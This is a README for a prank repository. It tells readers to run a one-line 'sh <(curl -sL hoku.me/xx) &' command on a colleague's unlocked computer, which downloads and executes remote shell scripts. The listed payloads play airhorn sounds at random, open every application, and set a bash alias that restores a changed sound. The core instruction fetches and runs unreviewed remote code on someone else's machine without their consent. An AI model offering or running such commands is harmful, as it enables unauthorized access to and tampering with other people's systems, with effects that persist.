when someone leaves their computer unlocked, you want to do something. this is a repo of silly things you can do. they all follow the same idea. you run

sh <(curl -sL hoku.me/xx) &

in their terminal, where xx is the two-letter identifier of the prank payload.

ah: play an airhorn sound randomly every x seconds, where x is between 0 and 800

al: change the default mac error sound to an airhorn and start a sleeper as a diversion

er: play the default mac error sound randomly every x seconds, where x is between 0 and 30

fr: play Friday by Rebecca Black on friday

ls: change the default mac error sound to an airhorn and set up a bash alias for ls to change it back to an airhorn if it's not already

op: sleep for 10 minutes and then open every app in /Applications

ra: open a random app in /Applications every 60 seconds

ys: check the price of Bitcoin every 1 to 10 seconds and play "You Suffer" by Napalm Death if it drops

if you have an idea for a prank, go ahead and put in a PR :)